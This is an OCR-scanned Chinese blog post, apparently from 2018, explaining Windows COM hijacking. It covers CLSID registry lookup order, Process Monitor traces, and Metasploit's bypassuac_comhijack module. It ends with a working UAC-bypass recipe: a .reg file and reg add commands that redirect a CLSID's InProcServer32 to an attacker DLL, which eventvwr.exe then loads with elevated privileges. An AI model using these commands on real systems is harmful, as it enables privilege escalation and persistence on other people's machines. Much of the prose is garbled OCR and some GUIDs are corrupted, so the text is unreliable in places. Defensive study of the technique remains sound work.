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COM Hijacking

#9913 Oct 2018

A G — T COMB 51 J 24

0x00 COMTT43
COMZComponent Object Model (Z4F%f S R) WM4EE .
COME AR 28 71 4 T VAL T AR AR 2B 7= SR INAT A& N ZRIAT A 07 I & B — i b 4K

I RBAR . FECOMMALT . AATA LI & th A& PP HER DhRE L — B AL . SRR e
MR AL AR, M RN R G

0x01 N EF5S COMEMRAIK R

EMER

BRFENF— N EME (https://docs.microsoft.com/en-
us/windows/desktop/sysinfo/about-the-registry) , {4/ 7] LI AR J— N RER S5 44 1)
AR, BEA SRR AR 2B A R AR — S I e B TR PP Y 75

by fEH
Pl — e soRy 28R, 28, 281
HKEY CLASSES ROOT
~CLASSES_ROO SR
P A R A BV R SR 2Y
HKEY CURRENT CONFIG
- - A A I SRS R
HKEY_ CURRENT USER F T A48 24 1 FH P BC 00

b N 22a 1 ob A : et
HKEY CURRENT USER_LOCAL_SETTINGS 1 {F =il il PR ST RC I

Tio
HKEY_ LOCAL_MACHINE 124 80 P BLIRES
HKEY_ USERS F 1787 FH P B BRI EC B0

HKEY_CLASSES_ROOT (https://docs.microsoft.com/en-
us/windows/desktop/sysinfo/hkey-classes-root-key) = HKEY_LOCAL_MACHINE
+ HKEY_CURRENT_ USER

CLSID
LA 45— FCLSID(Class Identifier), #SCBIER: “2JRME—FR AT,
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CLSID/&45Windows RGX T AR AR P, SCH2RA, OLEXIR , FegRsCit e LKk
BRI ARGEANT 7 B — A E— R BRI IDAES . 6 H S B AR RN 5 HAd 0 S kA7

lzé}o

A 1 CLSIDRAE R B (4 SR IE S, 10 24— B2 TR PP AR I A R, o fadad

COM Hijacking - {FifiE 1%
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CLKMMetabata.LorivietalatabLispenserkuntume.Z
CLRMetaData.CorRuntimeHost
CLRMetaData.CorRuntimeHost.2

11 CLSID

{0000002F-0000-0000-C0O00-000000000046}
{00000300-0000-0000-C0O00-000000000046}
{00000301-A8F2-4877-BA0A-FD2B6645FB94}
{00000303-0000-0000-C0O00-0000000000406}
{00000304-0000-0000-C0O00-0000000000406}
{00000305-0000-0000-C0O00-0000000000406}
{00000306-0000-0000-C0O00-000000000046}
{00000308-0000-0000-C0O00-0000000000406}
{00000309-0000-0000-C0O00-0000000000406}
{0000030B-0000-0000-C0O00-0000000000406}
{00000315-0000-0000-C0O00-000000000046}
{00000316-0000-0000-C0O00-000000000046}
{00000319-0000-0000-C0O00-000000000046}
{0000031A-0000-0000-C0O00-000000000046}
{0000031D-0000-0000-C0O00-000000000046}
{00000320-0000-0000-C000-000000000046}
{00000327-0000-0000-C0O00-0000000000406}
{0000032E-0000-0000-C0O00-000000000046}
{00000507-0000-0010-8000-00AA006D2EA4}
{0000050B-0000-0010-8000-00AA006D2EA4}
{00000514-0000-0010-8000-00AA006D2EA4}
{0000051A-0000-0010-8000-00AA006D2EA4]}
{00000535-0000-0010-8000-00AA006D2EA4}
{00000541-0000-0010-8000-00AA006D2EA4}
{00000542-0000-0010-8000-00AA006D2EA4}
{00000560-0000-0010-8000-00AA006D2EA4}

{00000566-0000-0010-8000-00AA006D2EA4}

NNnnNNAN2-NNn0N-NN1N0-20NN-NNAANNANIFAAY
1)

THFEHAHKEY_CLASSES_ROOT\CLSID

# T Cul+RITIFE

T TR FL i ™

I8l ) CLISD 2 -

S

17

:: {645FF040-5081-101B-9F08-00AAQ02F954E}
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CLSID 2 a0{al Bl 2 A
CLSID &5 #4) 44 :

typedef struct _GUID {
DWORD Datal; // FME#LEX
WORD Data2; // FIRJ[E)H%
WORD Data3; // FIAf[EH%
BYTE Data4[8]; // FIM-EMACHEX

} GUID;
typedef GUID CLSID; // 4Hf4ID
typedef GUID IID; // ¥0O1ID

WL ERAE R SR LA 45474 5 APDR A CLSID,  f i —: o

CLSID 7E5E R PRIRIAZZL

2% J.CLSID Key:
Key Name ]
InprocHandler32 T8 € B AR T8 A B LR T
InprocServer32 HM 32 AR T T EE e . AR R PRI

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID

{CLSID}
InprocServer32 (Default) = path
ThreadingModel = value

24148 (https://docs.microsoft.com/zh-cn/windows/desktop/com/clsid-key-hklm)
0x01 COM AAHpnEd 72
fli i Process Monitor [ LU AE R I b i e i - i A2 -

e 1.HKCU\Software\Classes\CLSID
e 2 HKCR\CLSID
e 3.HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Compatibility\Objects\

HKCU BJl HKEY_CURRENT_USER
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Process Name

... wa Beplorer, EXE
. o Bxplorer. EXE

4 Bxplorer. E¥E
wa Explorer. EXE
9 Bxplorer. EXE
u Bxplorer. EXE
w4 Explorer. EXE
7 Bxplorer. EXE
4 Bxplorer. BXE

. wdl Explorer. EXE
o Bxplorer. EXE
4 Bxplorer. E¥E
w4 Explorer. EXE
. 7 Beplorer. EXE
u Bxplorer BXE
4 Bxplorer. EXE
@ Bxplorer, EXE
“a Beplorer, EXE

. 'l Explorer. EXE
w4 Bxplorer. EXE
L Bxplorer. EXE
w4 Bxplorer. EXE
w9 Bxplorer. EXE
a Bxplorer. BXE
4 Bxplorer. EXE
.. w4 Baplover, EXE

. o BExplorer. EXE
4 Explarer. BXE
wd Explorer. EXE
9 Bxplorer. EXE
L Beplorer, EXE
w4 Explorer. EXE
... i Baplorer, EXE

. v Bxplorer. BXE

PID Operation
1260 @ ResOperKey
1260 @ RegOpenKey
1260 @ Reglperkey
1260 @ RezlueryValus
1260 @ RegOpenkey
1260 Eﬁzgﬂpmﬂ(:y

1260 @ RegOperKey
1260 @ RezOpenKey
1260 FeglpenKey
1260 @ ReglperKey
1260 @ ReglueryValue
1260 @ RegOpenKey
1260 @ RegueryValue

1260 @ RegOpenKey
1260 @ ReghueryValue
1260 Ehsﬂpmﬂ(:y

1260 ReglperKey
1260 @ RegOpenKey
1260 @ Reglpenkey

1260 @ Reglperkey
1260 @ RegOpenkey
1260 @K RegQueryValue
1260 gﬁ:gﬂpnﬂ(:y

1260 @ RezOpenKey
1260 @ RegOpenKey
1260 RegOpenKey
1260 @ RegOperKey
1260 @ RezCpenKey
1260 @ ReeQueryValus
1260 @ Reglpenkey

1260 @ RezlueryValus
1260 @ RegOpenKey
1260 @ RegQueryValus
1260 @ RegOperKey
1260 @ RezOpenKey
1260 @ RegOpenkey

COM Hijacking - i %
Path

HECU\Software'\(] asses\CLSIDY (IF3427C8-5010-4210-AA03-2EE4528TDE68) \InProcServer 32
HECI\Software\Classes\CLSIDY (IF3427C8-5C10-4210-AA03-ZEE4528TD66E) \InProcServer 32
HECU\Sof tware\Classes \CLSIDY {1F3427C8-5C10-421 0-AAN3-ZEEQ52870668) \InProcServer 32
HECR\CLSIDY, [1F3427C8-5C10-4210-AA03-ZEE4528TDB68} \ InProcServer32\LoadWi thoutCON
HECU\Software \Cl asses\CLSIDY {IF3427C8-5C10-4210-AA03-2EE4528TD66E] \Instance
HECUNSoftware\Classes\CLSIDY (1F3427CE-5C10-421 0-AAO3-ZEE452870668) \ Instance

HECU\Software\Cl asses\CLSIDY {IF3427C8-5C10-4210-AA03-2EE4528TD66E ) \Instance Ini tPropertybag
HECINSof tware \Cl asses\CLEID {IF3427C8-5C10-4210-AA03-2EE45287DE68) \Instanse \Ind tPropertyBas
HECU\Software\Classes\CLEIDY (1F3427C8-5C10-4210-AA03-2EE45287D668) \ Instance \Ini tPropertybag
BECU\Software'\Classes\CLSIDY {IF3427C8-5C10-4210-AA03-2EE4528T0668 ) \Instance Ind tPropertybag
HECR\CLSIDY, [1F3427C8-501 0-4210-AAD3-2EE45287D668] \ Instance\ Ini tProper tyBag'DescriptionlD
HECUNSof tware\Classes\CLSIDY (1F3427C8-5C10-4210-AA03-2EE45287D66E] \Inst ance'\ In tProper tybag
HECR\CLSTD', [1F3427C8-5C10-4210-8A03-7ER4528TDE68) Y Instanc e\ Ini tProper tyBagiHelpTapic
HECIN\Software\C1 asses\CLSIDY, {IF3427C8-5010-421 0-AA03-ZFE4528TD668) \Instance\ Ini tPropertyBag
HECR\CLSIDY, [1F3427C8-EC10-4210-AA03-2EB45287D668] \Instance\Ini tPropertyBag\RecursiveSearch

HKCUN\Sof tware\Classes\CLSID (1F3427C8-5C10-4210-AA03-2FE45287D668) \ Instance)\ Ini tPropertybag
HECU\Software'Classes\CLSIDY {1F3427C8-5C10-4210-AA03-2EE4528TD668 ) \ Instance! Ind tPropertybag
HELM\30F TWARE \Mi crogoft\Windows\CurrentVersion'\Shel lCompatibility\Objecta\ (IF3427CE-5C10-4210-AA0. ..

HECU\Software'\Classes\CLSIDY (1F3427C8-5C10-4210-AA03-CEE45287D668) \InProcServer 32
HECU\Software\Cl asses\CLSIDY {IF3427C8-5C10-4210-AAC3-2FE4528TDEER) \InProcServer32
HECU\Software\C]asses\CLSIDY {IF3427C8-5C10-4210-AA03-2EE45287D668) \InProcServer32
HECR\CLSIDY [1F3427C8-5C10-4210-A403-2EE452870668] Y InProcServer 324 LoadWi thout CON
HECUNSoftware\Classes\CLSIDY {IF3427C8-5C10-4210-AA03-2EE4528TD66E) Y Instance
HECUN\Software \Cl asses\CLSIDY, {1F3427C3-5C10-4210-AA03-ZEE4528TD668) \Instance

HECU\Software\C] asses\CLSIDY {IF3427C8-5C10-4210-AA03-2FE4528TDE6E] \Instance! Ini tPropertybag
HECU\Software\Classes\CLSIDN (1F3427CE-5C10-4210-AR03-2EE45287D668) \ Instance\ Ini tPropertybag
BECU\Software"Classes\CLSIDY {IF3427C8-5C10-4210-AA03-2EE4528TD668 ) \Instance Ind tPropertybag
HHCINSof tware\Cl ssees\CLEID {IF3427C8-5C10-4210-AA03-2EE4528TDE68) \Inetance\ Ini tPropertyBag
HECE\CLSIDY, [1F3427C8-5C10-4210-AA03-2ER4S28TDEGE) \Instance\Ini tPropertyBag\DescriptionlD
HECU\Sof tware\Classes\CLSIDY {IF3427C8-5C10-421 0-AA03-ZEE4528T0668) \Instance| Ini tPropertyBag
HECR\CLSIDY, [1F3427C8-5C10-4210-AA03-ZEE4528TDBE8) | Instance\ Ini tPropertyBagiHelpTopic
HECU\Software \Cl asses\CLSIDY {1F3427C8-5C10-4210-AA03-2FE4528TD66E] \Instance Ini tProper tybag
HECR\CLSIDY, [1F3427C8-5C10-4210-AA03-2EB45287D668) Y nstance Ini tPropertyBag\Recur siveSearch
HECU\Software\Cl asses\CLSIDY {IF3427C8-5C10-4210-AA03-2EE4528TD66E ) \Instance Ini tPropertybag
HECINSof tware '\l asses\CLSIDY {1F3427C8-5C10-4210-AA03-2FE452870668) \Instance\ Ind tPropertyBasg
HELI\SOFTWARE i crosoft \Windows\CurrentVersion'ShellCompatibility\Objects\ (LF3427CE-5C10-4210-440. ..

0x02 COM HEHIFHRIE

W PR FHRCOMAL I, FiES Tk

Result

NAME HOT FOUND
KAME NOT FOUKD
NAME NOT FOUND
NAME NOT FOUND
HARE HOT FOUKD
NAME NOT FOUND
KAME NOT FOUKD

NAME NOT FOUND
KAME NOT FOUKD
NAME NOT FOUND
KAME NOT FOUKD
RAME NOT FOUND
NAME NOT FOUND
HAME HOT FOUKD
HAME NOT FOUKD
KAME NOT FOUKD
NAME HOT FOUND
A

HAME WOT FOUND

KAME NOT FOUND

HAME NOT FOUND

HKCU\Software\Classes\CLSID

HATEFAECLSID M — W RID, EREMS DR BERR 5 A AR

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID
{CLSID}

InprocServer32
ThreadingModel =

(Default) = path
value

Detail
Desired Access:...
Desired Acces:
Desired Access:i...
Length: 144

Desired Acces:
Desired Acces:

Desired Acces:
Desired Access:
Length: 144
Desired Access:...
Length: 144
Desired Access:...
Length: 144
Desired Access:
Desired Acces:
Desired Acces:
Desired Acces:
Desired Acces: .
Desired Access:...
Length: 144
Desired Access:
Desired Acces:
Desired Acces:
Desired Acces:

Length: 1d4
Desired Access:i...
Length: 144
Desired hccess:...
Length: 144
Desired Access:
Desired Acces:
Desired Access:

5 DLLERE RN, (HECOMA R EIF T IR RR L A0, i His A —E&—
MR, BRI RS A —E&—ADLL, B L& —.comXX . gk PES .
DLLY -, #hFi) H st al L& —/"Windows API,

0x03 COM ZH{&Hni5Z=5

metasploit-

framework/embedded/framework/modules/exploits/windows/local/bypassuac_comhijack.rb

fifi FHl bypassuac_comhijack fl e %K & T~ AdministratorsZH ()35 1 FH 7 42 7+ 2 B3 AL

B2 o

TR T AR

HiEE At Epayload Mk R GRS, RERIE T &K

FR A R L B Y payload Sk 4B Jit— AN DLLAK 5 :

e

I

FLRR o

payload = generate_payload_dll({:dl1_exitprocess => true})

commspec =
dll_name =

https://payloads.online/archivers/2018-10-14/1
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COM &5 Bic LI -

@ahijack_points = [

{

name: 'Event Viewer',

cmd_path: "SWINDIR%\System32\eventvwr.exe',

class_ids: ['@A29FF9E-7F9C-4437-8B11-F424491E3931"']
},
{

name: 'Computer Managment',

cmd_path: "SWINDIR%\System32\mmc.exe',

cmd_args: 'CompMgmt.msc',

class_ids: ['QA29FF9E-7F9C-4437-8B11-F424491E3931"']
b

]

GARPL Sy PR & R 3l T 3

e %WINDIR%\System32\eventvwr.exe
e %WINDIR%\System32\mmc.exe CompMgmt.msc

R CLSIDAH[E] : 0A29FFOE-7F9C-4437-8B11-F424491E3931

QTN

target = @@hijack_points.sample
target_clsid = target[:class_ids].sample
root_key = "#{CLSID_PATHI\\{#{target_clsid}}"
inproc_key = "#{root_key}\\InProcServer32"
shell_key = "#{root_key}\\ShellFolder"

registry_createkey(root_key, registry_view)
registry_createkey(inproc_key, registry_view)
registry_createkey(shell_key, registry_view)

registry_setvaldata(inproc_key, DEFAULT_VAL_NAME, dl1_path, 'REG_SZ', re
gistry_view)

registry_setvaldata(inproc_key, 'ThreadingModel', 'Apartment', 'REG_SZ',

registry_view)

registry_setvaldata(inproc_key, 'LoadWithoutCOM', '', 'REG_SZ', registry
_view)

registry_setvaldata(shell_key, 'HideOnDesktop', '', 'REG_SZ', registry_v
iew)

registry_setvaldata(shell_key, 'Attributes', 0xf090013d, 'REG_DWORD', re
gistry_view)

{
name: target[:namel,
cmd_path: target[:cmd_pathl],
cmd_args: target[:cmd_args],
root_key: root_key

https://payloads.online/archivers/2018-10-14/1 5/9
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TEM I3 ) -

e HKCU\Software\Classes\CLSID{0A29FF9E-7F9C-4437-8B11-
F424491E3931}\InProcServer32

e HKCU\Software\Classes\CLSID{0A29FF9E-7F9C-4437-8B11-
F424491E3931}\ShellFolder

InProcServer32Hi 5 Key:

e Default -> %TEMP%\ /\ /i it/ £¢.d11
e ThreadingModel -> Apartment

ShellFolder+# A Key:

e LoadWithoutCOM -> %5
e HideOnDesktop -> %%
* Attributes -> 0xf090013d

Bl e S, & )a3) cmd.exe /c eventvwr.exe , HE SRR —MEH R &

0:00 / 1:18

FRpMi
FA AT LU LUT SCHORAER test. reg
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Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\CLSID\{@0A29FF9E-7F9C-4437-8B11-F424491E3
931}]

[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3
931}\InProcServer32]

@="C:\\Temp\\calc.dll"

"ThreadingModel"="Apartment"

"LoadWithoutCOM"=""

[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3
931}\ShellFolder]

"HideOnDesktop"=""

"Attributes'"=dword:f090013d

HrETfY C:\\Temp\\calc.d U A DL BE SR AE B E N IDLLEE 2 (R4 812) o
WA LU Fflcommand 75 5 :

reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{@0A29FF9E-7F9C-4437-8B11-F4
24491E3931}\InProcServer32 /v "" /t REG_SZ /d "C:\Temp\calc.dll" /f

reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{@0A29FF9E-7F9C-4437-8B11-F4
24491E3931}\InProcServer32 /v "LoadWithoutCOM" /t REG_SZ /d "" /f

reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F4
24491E3931}\InProcServer32 /v "ThreadingModel"™ /t REG_SZ /d "Apartment" /f
reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F4
24491E3931}\ShellFolder /v "HideOnDesktop" /t REG_SZ /d "" /f

reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{@0A29FF9E-7F9C-4437-8B11-F4
24491E3931}\ShellFolder /v "Attributes" /t REG_DWORD /d f090013d /f

TAE R

eventvwr.exe ¥4 54k {0A29FF9E-7F9C-4437-8B11-F424491E3931} XN, XA
A N FREMNE, InProcServer32 5 EDLL, XANDLLEY 25 EMSF FEFIAR L
DLL, *4DLL—HJn# %] eventvwr.exe X2 d, Windows£& & il —/NE 1 B )
Access Token% iX > DLLE & it 3E 7% o

0x03 Bypass UACH[HIE

XA H SR TR IR IR R, IS RE MR — T

MR HFr explorer. exe GEAFEBypass UACHE?

o

% M7

A4 eventvwr.exe WIS EMEH BARH . KBS EHIHEFHAR . WindowsH &K
1R % X 2 . FFR T
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IEREABA B ERTBRI ST, BAIFE ., MIASMAUACT, HEGRGHEH
AR o

FERARE—MER, BEZMAFR, FHEREGESANE: UACKERE. anffiz$EBypass
UACH) 7 ¥ o

¥ @RvnOxsy (https://twitter.com/Rvn0xsy) QR code

3. https://payloads.online/archivers/2018-10-14/1
3 13-Oct-18
€ BY-NC-SA 4.0 https://payloads.online/disclosure
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